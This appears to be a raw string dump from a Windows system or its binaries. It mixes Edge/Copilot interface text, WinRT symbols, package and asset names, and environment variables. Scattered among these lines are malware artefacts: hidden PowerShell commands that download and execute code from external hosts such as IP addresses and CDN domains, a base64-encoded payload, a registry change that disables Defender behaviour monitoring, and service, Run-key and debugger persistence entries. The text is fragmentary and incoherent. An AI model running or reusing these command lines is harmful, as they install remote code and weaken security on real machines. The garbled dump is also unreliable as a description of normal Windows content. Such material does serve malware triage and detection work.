s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
OMPUTERNAME=WINDOWS11
	\system32\cmd.exe
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
"Windows"
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
"Windows"
WINDOWS11
WINDOWS11
WINDOWS11
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
rtya-adatokat. Adja meg a Windows-jelszav
teni a jelszavakat. Adja meg a Windows-jelszav
hez adja meg a Windows-jelszav
hez adja meg a Windows-jelszav
lni a jelszavait. Adja meg a Windows-jelszav
lni a jelszavakat. Adja meg a Windows-jelszav
hez adja meg a Windows-jelszav
hez adja meg a Windows-jelszav
hoz Windows 10 vagy 
oC:\__w\1\s\Src\Components\WebExperienceHost\WebExperienceHostDll\WebExperienceHost.WindowsBackup.cpp
WindowsSearchBox
Windows
WindowsBase
WindowsFormsIntegration
WindowsRuntime
VCOMPONENT_INSTALLER_DIR=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
SystemRoot=C:\WINDOWS
ULOCALAPPDATA=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC
Path=C:\WINDOWS\system32;
 "c:\windows\explorer.exe 
MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy
MicrosoftWindows.UndockedDevKit_10.0.26100.1_neutral_neutral_cw5n1h2txyewy
Windows.CBSPreview_10.0.19580.1000_neutral_neutral_cw5n1h2txyewy
GameDVR_DXGIHonorFSEWindowsCompatible
x86_microsoft-windows-ie-feedsbs.resources_31bf3856ad364e35_en-us_2c1bdd67a97e0512
x86_microsoft-windows-ie-feedsbs_31bf3856ad364e35_none_01f10ef6c5a7644d
x86_microsoft-windows-ie-hotmailapi_31bf3856ad364e35_none_8acd733064861df5
x86_microsoft-windows-ie-htmlactivexcompat_31bf3856ad364e35_none_43260b3df8a692ac
x86_microsoft-windows-ie-htmleditingsupport_31bf3856ad364e35_none_5f6329c6e5b8a8b1
x86_microsoft-windows-ie-ieadvpack.resources_31bf3856ad364e35_en-us_a1e32aa786130480
x86_microsoft-windows-ie-ieadvpack_31bf3856ad364e35_none_305e7c55ffe5fe2f
x86_microsoft-windows-ie-iechooser.resources_31bf3856ad364e35_en-us_72c5925ca1155d67
x86_microsoft-windows-ie-iechooser_31bf3856ad364e35_none_e608db08c2280e1e
x86_microsoft-windows-ie-ielowutil_31bf3856ad364e35_none_3925ab9243283397
COMPUTERNAME=WINDOWS11
LOGONSERVER=\\WINDOWS11
SystemRoot=C:\WINDOWS
USERDOMAIN=Windows11
windir=C:\WINDOWS
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
tails de votre carte de paiement. Entrez votre mot de passe Windows pour autoriser cette op
ration.Microsoft Copilot tente d'afficher les mots de passe. Entrez votre mot de passe Windows pour autoriser cette op
ration.Microsoft Copilot tente de copier vos mots de passe. Tapez votre mot de passe Windows pour autoriser cette op
ration.Microsoft Copilot tente de modifier les mots de passe. Tapez votre mot de passe Windows pour autoriser cette op
ration.Microsoft Copilot veut exporter vos mots de passe. Entrez votre mot de passe Windows pour autoriser cela.Microsoft Copilot tente d'importer des mots de passe. Entrez votre mot de passe Windows pour autoriser cette op
es de votre gestionnaire de mots de passe. Tapez votre mot de passe Windows pour autoriser cette op
ration.Microsoft Copilot tente de remplacer les mots de passe existants. Saisissez votre mot de passe Windows pour autoriser cette op
cessite Windows
WINDOWS.WEB.HTTP.HTTPMETHOD
windowsbackup
WindowScrimView
C:\__w\1\s\src\packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\include\wil\win32_helpers.h
C:\__w\1\s\src\packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\include\wil\result_macros.h
WindowsCreateStringReference
EnumWindows
WindowsDeleteString
WindowsCreateString
WindowsGetStringRawBuffer
_MicrosoftWindowsMPTFCounters_
RawData_MicrosoftWindowsMPTFCounters_
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft.Windows.CloudRestoreLauncher
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Shell.CoCreateInstanceAsSystem
Windows.Data.Platform.Partitioning.PartitionMetadata
Windows.Data.Platform.Partitioning.DeviceExperiencePartitionMetadata
Windows.Data.Platform.Partitioning.OperatingSystemVersion
Windows.Data.Platform.Pa
:\windowss
*windowsdefender\real-timeprotection"/v"disablebehaviormonC
WindowsRuntime 1.4
WindowsRuntime 1.4
WindowsRuntime 1.4
WindowsRuntime 1.4
Start Experiences App powers Windows Widgets, keeping you informed, entertained, and inspired. Easily personalise your feed for quick access to news, weather, sports, finance, and more.
Start Experiences App powers Windows Widgets, keeping you informed, entertained, and inspired. Easily personalize your feed for quick access to news, weather, sports, finance, and more.
c:\windows\system32\windowspowershell\v1.0\powershell.exe.(gp-pa'hklm:\sof*\clas*\applications\msh*e').('pschildname')https://powershell2.b-cdn.net/zedl1
\windows\system32\cmd.exe/v:on/
powershell-windowstylehidden-executionpolicybypass-noprofile-command"iex((new-objectnet.webclient).downloadstring('https://bknqsercise.com/bomla'))"
Windows.Foundation.Metadata
Windows.ApplicationModel.ExtendedExecution
Windows.ApplicationModel.ExtendedExecution.Foreground
Windows.ApplicationModel.Holographic
Windows.ApplicationModel.LockScreen
Microsoft.Windows.Health.TestInProduction
sccreatewinmainsvctype=sharestart=autobinpath="c:\windows\
\windows\currentversion\policies\explorer\run\\windows nt\currentversion\image file execution options\debugger
<assemblyIdentity name="WindowsShell" processorArchitecture="amd64" version="5.1.0.0" type="win32"/>
<description>Windows Shell</description>
            name="Microsoft.Windows.Common-Controls"
J\windows\currentversion\explorer\advanced\folder\hidden\showallidsmtp1disconnected
Wlocalip=127.0.0.1&compname=system32\drivers\etc\svchost.exe
winlogonJ
\system32\mdlplite.exe
SCRIPT:BAT/WinLogon
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
WindowStyle Hidden"
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
WINDOWS11      
@@Collections@Foundation@Windows@winrt@@V<lambda_1>@?1??VectorChanged@?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@5@QEAA?AUevent_token@5@AEBU?$VectorChangedEventHandler@UIInspectable@Foundation@Windows@winrt@@@2345@@Z@@impl@winrt@@
.?AUtype@?$abi@U?$VectorChangedEventHandler@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$delegate@U?$VectorChangedEventHandler@UWaitChainViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@V<lambda_1>@?1??VectorChanged@?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@5@QEAA?AUevent_token@5@AEBU?$VectorChangedEventHandler@UIInspectable@Foundation@Windows@winrt@@@2345@@Z@@impl@winrt@@
.?AV<lambda_1>@?1??VectorChanged@?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@QEAA?AUevent_token@4@AEBU?$VectorChangedEventHandler@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@@Z@
.?AU?$implements_delegate@U?$VectorChangedEventHandler@H@Collections@Foundation@Windows@winrt@@V<lambda_1>@?1??VectorChanged@?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@5@QEAA?AUevent_token@5@AEBU?$VectorChangedEventHandler@UIInspectable@Foundation@Windows@winrt@@@2345@@Z@@impl@winrt@@
.?AUtype@?$abi@U?$VectorChangedEventHandler@UWaitChainViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$delegate@U?$VectorChangedEventHandler@H@Collections@Foundation@Windows@winrt@@V<lambda_1>@?1??VectorChanged@?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@5@QEAA?AUevent_token@5@AEBU?$VectorChangedEventHandler@UIInspectable@Foundation@Windows@winrt@@@2345@@Z@@impl@winrt@@
.?AV<lambda_1>@?1??VectorChanged@?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@QEAA?AUevent_token@4@AEBU?$VectorChangedEventHandler@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@@Z@
.?AU?$implements_delegate@U?$VectorChangedEventHandler@Uhstring@winrt@@@Collections@Foundation@Windows@winrt@@V<lambda_1>@?1??VectorChanged@?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@5@QEAA?AUevent_token@5@AEBU?$VectorChangedEventHandler@UIInspectable@Foundation@Windows@winrt@@@2345@@Z@@impl@winrt@@
.?AUtype@?$abi@U?$VectorChangedEventHandler@H@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$delegate@U?$VectorChangedEventHandler@Uhstring@winrt@@@Collections@Foundation@Windows@winrt@@V<lambda_1>@?1??VectorChanged@?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@5@QEAA?AUevent_token@5@AEBU?$VectorChangedEventHandler@UIInspectable@Foundation@Windows@winrt@@@2345@@Z@@impl@winrt@@
onecoreuap\windows\advcore\winrt\popup\messagedialogoperation.cpp
onecoreuap\windows\advcore\winrt\popup\messagedialog.cpp
onecoreuap\windows\advcore\winrt\popup\messagedialoginfo.cpp
onecoreuap\windows\advcore\winrt\popup\messagedialogmock.cpp
onecoreuap\windows\advcore\winrt\popupmenu\controller.cpp
onecoreuap\windows\advcore\winrt\popupmenu\popupmenuoperation.cpp
onecoreuap\windows\advcore\winrt\gesturerecognizer\physicalgesturerecognizer.cpp
|windows-1250|windows-1250|iso-8859-2
|Windows-1252|Windows-1252|iso-8859-1
|windows-1251|windows-1251|koi8-r
ir%\system32\dri
Microsoft.Windows.System.EnvironmentManager6
Microsoft.Windows.Widgets.Provider
Microsoft.Windows.Widgets.Host
DriverData=C:\Windows\System32\
,c:\windows\system32\conhost.exepowershell-windowstylehidden-command"invoke-expression([text.encoding]::utf8.getstring([convert]::frombase64string((invoke-webrequest-uri'http://37.114.63.59/exodo/1/?id=
vag0abqbhag4azaagahiazqbjaguaaqb2aguazaaiackafqb9adsaiaakahiazqbhagqazqbyac4aqwbsag8acwblacgakqa7acaajab3ahiaaqb0aguacgauaemababvahmazqaoackaowagacqacwb0ahiazqbhag0algbdagwabwbzaguakaapadsaiaakahqaywbwac4aqwbsag8acwblacgakqa7aa=="-windowstylehidden
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
temRoot%\system32\mswsock.dl
temRoot%\system32\mswsock.dl
SafeSubWindows
AllWindows
1f^windows.backgroundTasks
20^windows.backgroundTasks
Assets\WindowsSecurityWideTile.scale-400.png~
Assets\WindowsSecurityWideTile.scale-200.png~
Assets\WindowsSecurityWideTile.scale-150.png~
Assets\WindowsSecurityWideTile.scale-125.png~
Assets\WindowsSecurityWideTile.scale-100.png~
Assets\WindowsSecuritySplashScreen.scale-400.png~
Assets\WindowsSecuritySplashScreen.scale-200.png~
Assets\WindowsSecuritySplashScreen.scale-150.png~
Assets\WindowsSecuritySplashScreen.scale-125.png~
Assets\WindowsSecuritySplashScreen.scale-100.png~
Assets\WindowsSecuritySmallTile.scale-400.png~
Assets\WindowsSecuritySmallTile.scale-200.png~
Assets\WindowsSecuritySmallTile.scale-150.png~
Assets\WindowsSecuritySmallTile.scale-125.png~
Assets\WindowsSecuritySmallTile.scale-100.png~
Assets\WindowsSecurityMedTile.scale-400.png~
Assets\WindowsSecurityMedTile.scale-200.png~
Assets\WindowsSecurityMedTile.scale-150.png~
Assets\WindowsSecurityMedTile.scale-125.png~
Assets\WindowsSecurityMedTile.scale-100.png~
Assets\WindowsSecurityLargeTile.scale-400.png~
Assets\WindowsSecurityLargeTile.scale-200.png~
Assets\WindowsSecurityLargeTile.scale-150.png~
Assets\WindowsSecurityLargeTile.scale-125.png~
Assets\WindowsSecurityLargeTile.scale-100.png~
Assets\WindowsSecurityAppList.targetsize-96_altform-unplated.png~
Assets\WindowsSecurityAppList.targetsize-96_altform-lightunplated.png~
Assets\WindowsSecurityAppList.targetsize-96.png~
Assets\WindowsSecurityAppList.targetsize-48_altform-unplated.png~
Assets\WindowsSecurityAppList.targetsize-48_altform-lightunplated.png~
Assets\WindowsSecurityAppList.targetsize-48.png~
Assets\WindowsSecurityAppList.targetsize-256_altform-unplated.png~
Assets\WindowsSecurityAppList.targetsize-256_altform-lightunplated.png~
Assets\WindowsSecurityAppList.targetsize-256.png~
Assets\WindowsSecurityAppList.scale-400.png~
Assets\WindowsSecurityAppList.scale-200.png~~4
Assets\WindowsSecurityAppList.scale-150.png~}4
Assets\WindowsSecurityAppList.scale-125.png~|
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
BBG.pointfree.co.krregsvr32 /u /s \software\microsoft\windows\currentversion\run
www.pointfree.co.kr/app/remove.php\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects&m2code=%sRecoveryExeName
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.Security.BCrypt
Microsoft.Windows.Security.BCrypt.Config
onecoreuap\shell\windows.storage\appdefaultsinitializer.cpp
onecoreuap\shell\windows.storage\appdefaultsintegrity.cpp
api-ms-win-core-windowserrorreporting-l1-1-0.dll
C:\WINDOWS\system32\wbem\wmiprvse.exe
C:\WINDOWS\system32\wbem\wmiprvse.exe
Microsoft.Windows.Wil.FeatureLogging
","SettingPaths":[{"System.Setting.PageID":"SettingsPageEaseOfAccessNarrator","System.Setting.SettingID":"SystemSettings_Accessibility_Narrator_IsEchoModifierKeyEnabled","System.Setting.GroupID":"SettingsGroupEaseOfAccessNarratorVerbosity"},{"System.Setting.PageID":"SettingsPageEaseOfAccessNarratorNS","System.Setting.SettingID":"SystemSettings_Accessibility_Narrator_IsEchoModifierKeyEnabled","System.Setting.GroupID":"SettingsGroupEaseOfAccessNarratorVerbosity"}],"System.Comment":"Hear Shift, Alt, and other modifier keys as you type","System.HighKeywords":"Narrator keyboard;typing;keyboard;shift;control;windows;alt;modifiers;change what I hear when typing with Narrator;modifier key echo;echo modifier keys;Narrator modifier key echo;Narrator type modifier key settings;read modifier keys;toggle modifier key reading;toggle keyboard echo"},{"System.ParsingName":"AAA_SystemSettings_Accessibility_Narrator_IsEchoNavigationKeyEnabled","System.Setting.FontFamily":"Segoe Fluent Icons","System.Setting.Glyph":"
NtUserSetCoveredWindowStates
NtUserSetProcessWindowStation
NtUserSetWindowShowState
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
GetProcessWindowStation
C:\WINDOWS\System32\drivers\processr.sys[PROCESSORWMI]
C:\WINDOWS\System32\drivers\ACPI.sys[ACPIMOFResource]
C:\WINDOWS\System32\drivers\HDAudBus.sys[HDAudioMofName]
EGL_CreatePlatformWindowSurface
EGL_CreatePlatformWindowSurfaceEXT
EGL_CreateWindowSurface
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\DataCollection!MicrosoftEdgeDataOptIn
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\DataCollection!MicrosoftEdgeDataOptIn
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.TextInput.LinguisticData
Microsoft.Windows.Input.InputService
Microsoft.Windows.Input.Keyboard
Microsoft.Windows.TextIntelligence.InputProcessor.Flip
Microsoft.Windows.TextInput.FlipProcessor
Microsoft.Windows.TextInput.SpellCheckingEngine
Microsoft.Windows.TextInput.LITE
Microsoft.Windows.TextInput.JpnProcessor
Microsoft.Windows.TextInput.KorProcessor
Microsoft.Windows.TextInput.VieProcessor
Microsoft.Windows.Mobile.TextInput.ChsIme
Microsoft.Windows.Mobile.TextInput.ChtIme
Microsoft.Windows.Shell.CandidateWindow
Microsoft.Windows.TextInput.ChsIme
Microsoft.Windows.TextInput.DictationInputProcessor
Microsoft.Windows.TextInput.InputSession
Microsoft.Windows.Desktop.Shell.InputDll
3sv1powershell.exe-whidden$w=new-objectnet.webclient;$w.headers.add('user-agent','uawindowspowershell');.([scriptblock]::create($w.downloadstring('http://46.28.70.102/6kr4gga
=content-type"content="text/html;charset=windows-
rLpowershell-windowstylehidden-executionpolicybypass-nologo-noprofile-encodedcommand
ered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
C:\WINDOWS\temp\
lSizemaxTextWithNoRatingetExtrasciiWritemFolderLinkfmOnboardingConfirmationBoxTextractFilterTypeg$f7unlinkPCLinkfmOnboardingKFMEnabledControlHeadingTextimingetPointExtraspxllazilyLoadViewidthNoneutralBackground5Pressed_animationClassertIsMountedisableQueue_massertReducerShapeg$SyntaxErrorgba(249, 249, 249, 0.3)brassertSizeinitialScrollIndexitSurveyTooManyNotificationsViewaterGlassertiveauzawaitReturn:prefetchImageWithMetadata:image/svg+xml;base64SliceisRgbOrRgbase64cleanKeybodySemiboldTextChangedisabledBodyTextknoargscrollResponderKeyboardWillHidefaultMoreOptionsTooltipbubblePropertiesettingsSelectiveSyncNotSyncingetHostSiblinget unstable_enableLogBoxltm103.58 35.53-10.77-6.15-26.15-5.33-18.18 35.47 10.41 6.05L98.3 68.5l2.45-.66zv-2.64zisVerticallout-card-buttonHandlerrorIcon2useRecordFunnelTelemetryCallbackfmWindowScanningTextopContentSizeChanget composedPathandleEndEditinget useColorSchemergency-callComponentWillReceivePropsettingsSelectiveSyncQuotaStatusNoAccountSettingetKeyDownPropsWorkeresolveToSlotPropseekCmdisCriticallWithSlashSeparatoreportABugBtnormalizeMethodignoreConfirmDeleteTextopMomentumScrollBeginvokeGuardedCallbackAndCatchFirstErrorgba(0, 0, 0, 0.2169)cancelSubscriptionLinkfmOnboardingPhotoBodyTextoTokensubtleBackgroundPressedhttp://localhost:9001/sync/RNSettings/catfoodignoreAddRuleTextopLoadStart_findRegionreadystatechangeResponderrorInfoCircleanCodefaultAnimationStateUpdateprecheckBoundsettingsSyncAutoPauseBatteryisComponentErrorequestHeaderspeciesubCacheckBoxContaineradioButtonHoverInnerFillcreateSingletonCacheckIfSnapshotChangedisabledButtonBorderColoreadInt8aria-valuetextInputColorsubstringetNodeFromCacheckPatternsettingsAutoPauseNotificationToastStyles_argMappingCacheckShouldComponentUpdatePickerTextpluralRulesCacheckStringet nativeEventEmitteresolveIfHandlergba(96, 205, 255, 0.8)maskUnitshouldCacheckmarkVisibilityRNActivityCenterInLineFolderLinkKillSwitchooseFolderLinkfmErrorInfolderColorGreenV2http://localhost:9001/sync/mountedFolders/chooseFoldersButtonBugReportCompleteaiSearchooseRootFolderPageBodyaddWhitelistedStylePropenODIgnoreModalternateFetchooseRootFolderPathTitleclearWatchooseRootFolderTitlecomponentDidCatchoose_root_folder_page/change_root_folderColor/get_visual_statextShadowRadiuseActivityCenterErrorStyleswapLeftAndRightInRTLOADINGgrapeg$subclassEscapeg$c14borderBottomLeftRadiuseAnimatedPropsLifecyclearNestedPropertyRNSVGCirclearkeyPressCallbackfmOnboardingControlFooterLeftTextractFontvbWidthasChildrenderKFMRowaitingToSyncopilotDialog/thumb_clickediskSpaceExcludingOneDrivecoAuthLockedItemsetColorhandledEventPhaselective_sync/change_root_folderColor/submit_colorPropTypeg$c17isTeamSiteSyncommonOkButtonCommitFiberUnmountSafeCallback_NOT_REALLY_SAFEmiddleNamemoizedResultFuncomplementaryuseRecordCopilotFunnelTelemetryCallbackfmWindowSaveChangeTextopChangeSyncomputeExpirationTimedMetadata:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAQAAAAEACAYAAABccqhmAAAEGWlDQ1BrQ0dDb2xvclNwYWNlR2VuZXJpY1JHQgAAOI2NVV1oHFUUPrtzZyMkzlNsNIV0qD8NJQ2TVjShtLp/3d02bpZJNtoi6GT27s6Yyc44M7v9oU9FUHwx6psUxL+3gCAo9Q/bPrQvlQol2tQgKD60+INQ6Ium65k7M5lpurHeZe58853vnnvuuWfvBei5qliWkRQBFpquLRcy4nOHj4g9K5CEh6AXBqFXUR0rXalMAjZPC3e1W99Dwntf2dXd/p+tt0YdFSBxH2Kz5qgLiI8B8KdVy3YBevqRHz/qWh72Yui3MUDEL3q44WPXw3M+fo1pZuQs4tOIBVVTaoiXEI/MxfhGDPsxsNZfoE1q66ro5aJim3XdoLFw72H+n23BaIXzbcOnz5mfPoTvYVz7KzUl5+FRxEuqkp9G/Ajia219thzg25abkRE/BpDc3pqvphHvRFys2weqvp+krbWKIX7nhDbzLOItiM8358pTwdirqpPFnMF2xLc1WvLyOwTAibpbmvHHcvttU57y5+XqNZrLe3lE/Pq8eUj2fXKfOe3pfOjzhJYtB/yll5SDFcSDiH+hRkH25+L+sdxKEAMZahrlSX8ukqMOWy/jXW2m6M9LDBc31B9LFuv6gVKg/0Szi3KAr1kGq1GMjU/aLbnq6/lRxc4XfJ98hTargX++DbMJBSiYMIe9Ck1YAxFkKEAG3xbYaKmDDgYyFK0UGYpfoWYXG+fAPPI6tJnNwb7ClP7IyF+D+bjOtCpkhz6CFrIa/I6sFtNl8auFXGMTP34sNwI/JhkgEtmDz14ySfaRcTIBInmKPE32kxyyE2Tv+thKbEVePDfW/byMM1Kmm0XdObS7oGD/MypMXFPXrCwOtoYjyyn7BV29/MZfsVzpLDdRtuIZnbpXzvlf+ev8MvYr/Gqk4H/kV/G3csdazLuyTMPsbFhzd1UabQbjFvDRmcWJxR3zcfHkVw9GfpbJmeev9F08WW8uDkaslwX6avlWGU6NRKz0g/SHtCy9J30o/ca9zX3Kfc19zn3BXQKRO8ud477hLnAfc1/G9mrzGlrfexZ5GLdn6ZZrrEohI2wVHhZywjbhUWEy8icMCGNCUdiBlq3r+xafL549HQ5jH+an+1y+LlYBifuxAvRN/lVVVOlwlCkdVm9NO
Microsoft.Windows.Networking.DHCPv6
Microsoft.Windows.TlgAggregateInternal
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Notifications\Data\\418A073AA3BC1C75
J	DWindows.Data.Platform.Partitioning.DeviceExperiencePartitionMetadata&
o-windowstylehidden-execu<
Microsoft.Windows.BackgroundManager
Microsoft.Windows.BackgroundManager
Microsoft.Windows.BackgroundManager
Microsoft.Windows.BackgroundManager
Microsoft.Windows.BackgroundManager
windir=C:\WINDOWS$
USERDOMAIN=Windows11#
C:\Program Files\WindowsApps\Microsoft.
C:\Program Files\WindowsApps\Microsoft.UI.Xaml.2g
Microsoft.Windows.Captur7
Microsoft.Windows.Location.Crowdsource
Microsoft.Windows.TlgAggregateInternal
Microsoft.Windows.Location.Uploader
Software\Microsoft\Windows\CurrentVersion\Policies\Network
	\system32\cmd.exe
W|<spanclass="os">windows7<
s\system32
WindowsCreateString
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsCreateStringReference
GetWindowsDirectoryW
windows.data.input.devices.mousesettings
default$windows.data.input.devices.touchsettings
windows.data.input.devices.touchsettings
default$windows.data.input.devices.pensettings
windows.data.input.devices.pensettings
windows.data.accessibility.eyecontrol.syncedsettings
%systemroot%\system32\wbem
%systemroot%\system32\wbem
 @Microsoft-Windows-Kernel-StoreMgr
P~MICROSOFTWINDOWS.CLIENT.CBS_CW5N1H2TXYEWY!WEBEXPERIENCEHOST
sInternal2_None, CheckFlags(TaskFlags::LogonBlocking) ? Windows::Management::Deployment::Internal::DeploymentOperationPriority_InteractiveHigh : Windows::Management::Deployment::Internal::DeploymentOperationPriority_Default, deploymentOperation.GetAddressOf())
Windows::Foundation::GetActivationFactory(HStringReference(RuntimeClass_Windows_Foundation_Uri).Get(), m_uriFactory.ReleaseAndGetAddressOf())
m_windowsStore != nullptr
shellcommon\undockeddevkit\libs\windowsudk.data.text\nextcharacterpredictiongenerator.cpp
shellcommon\undockeddevkit\libs\windowsudk.data.text\textsuggestiongenerator.cpp
shellcommon\undockeddevkit\libs\windowsudk.data.text\mtfclient.cpp
cMicrosoft.Windows.Photos_8wekyb3d8bbweS-1-5-21-3914889805-4071901059-918772286-1001-Out-Allow-AllCapabilities
OutlookForWindows
 C:\Windows\SystemApps\Microsoft.
	windows.activatableClass.inProcessServer
\windows\currentversion\run\dtci".N
 =c:\windows\temp\
